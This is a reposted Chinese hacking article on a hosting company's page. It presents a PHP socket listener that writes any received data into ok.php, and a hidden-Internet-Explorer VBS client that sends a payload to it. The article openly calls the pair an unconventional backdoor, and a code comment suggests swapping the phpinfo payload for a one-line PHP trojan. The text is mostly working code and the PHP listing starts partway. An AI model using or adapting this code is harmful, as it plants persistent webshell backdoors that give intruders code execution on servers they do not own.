快速业务通道

非常棒的lcx写的非常规运行vbs

作者 佚名 来源 ASP编程 浏览 发布时间 2013-07-09

//开始监听链接
$result=socket_listen($socket,3)ordie("Couldnotsetupsocket
listener\n");
//acceptincomingconnections
//另一个Socket来处理通信
$spawn=socket_accept($socket)ordie("Couldnotacceptincoming
connection\n");
//获得客户端的输入
$input=socket_read($spawn,1024)ordie("Couldnotreadinput\n");
//清空输入字符串
$input=trim($input);//将输入结果写入ok.php,这句是我加的
fputs(fopen(''ok.php'',''a+''),"$input");

//处理客户端输入并返回结果
$output=strrev($input)."\n";
socket_write($spawn,$output,strlen($output))ordie("Couldnotwrite
output\n");
//关闭sockets
socket_close($spawn);
socket_close($socket);
?>

在ie打开这个php,运行它的服务器会监听12345端口。如果我们再用vbs向12345端口发包的话,在同文件的php目录下会生成ok.php。发包的内容就是我们要写入ok.php的代码。该vbs文件c.vbs代码如下:

Setie=WScript.CreateObject("InternetExplorer.Application")
ie.visible=false
ie.Navigate"http://192.168.8.100/s.php"''s.php是服务端
Whileie.Busy
WScript.Sleep100
Wend

Do
Wscript.Sleep200
LoopUntilie.ReadyState=4

Setsocket=WScript.CreateObject("MSWinsock.Winsock")
socket.Protocol=0
socket.RemotePort="12345"''端口
socket.RemoteHost="192.168.8.100"''主机
socket.connectsocket.RemoteHost,socket.RemotePort''连接
WScript.sleep10
ddd="<?phpinfo();>"&Chr(13) ''这里你可以改成一句话的php木马
socket.SendDataddd
WScript.sleep100
wscript.echo"ok"
''socket.senddataChr(13)
socket.close

Setie=nothing

一个vbs和一个php珠联璧合,打造了一个非常规后门。当然这个后门的价值不大,但重要的是思路,不是吗?

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号